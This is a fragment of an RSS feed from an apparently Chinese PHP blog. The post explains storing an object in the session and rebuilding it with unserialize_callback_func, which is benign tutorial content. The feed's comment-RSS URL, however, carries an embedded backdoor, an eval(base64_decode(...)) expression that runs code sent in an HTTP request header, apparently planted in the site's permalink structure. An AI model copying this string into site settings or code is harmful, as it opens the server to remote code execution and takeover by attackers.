<span style="color: #000088;">$person</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAge</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">21</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'person'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$person</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">echo</span> <span style="color: #0000ff;">'&lt;a href='</span>output<span style="color: #339933;">.</span>php<span style="color: #0000ff;">'&gt;check here to output age&lt;/a&gt;'</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>output.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">// 设置回调函数，确保重新构建对象。 </span>
<span style="color: #990000;">ini_set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'unserialize_callback_func'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'mycallback'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">function</span> mycallback<span style="color: #009900;">&#40;</span><span style="color: #000088;">$classname</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
    <span style="color: #b1b100;">include_once</span> <span style="color: #000088;">$classname</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$person</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'person'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  输出 21 </span>
<span style="color: #000088;">$person</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>当我们执行 setage.php 文件的时候，调用了 setage() 方法，设置了年龄为 21，并将该状态序列化后保存在 Session 中（PHP 将自动完成这一转换），当转到 output.php 后，要输出这个值，就必须反序列化刚才保存的对象，又因为在解序列化的时候需要实例化一个未定义类，所以我们定义了以后回调函数，自动包含 person.php 这个类文件，因此对象被重构，并取得当前 age 的值为 21，然后调用 output() 方法输出该值。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/09/905/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
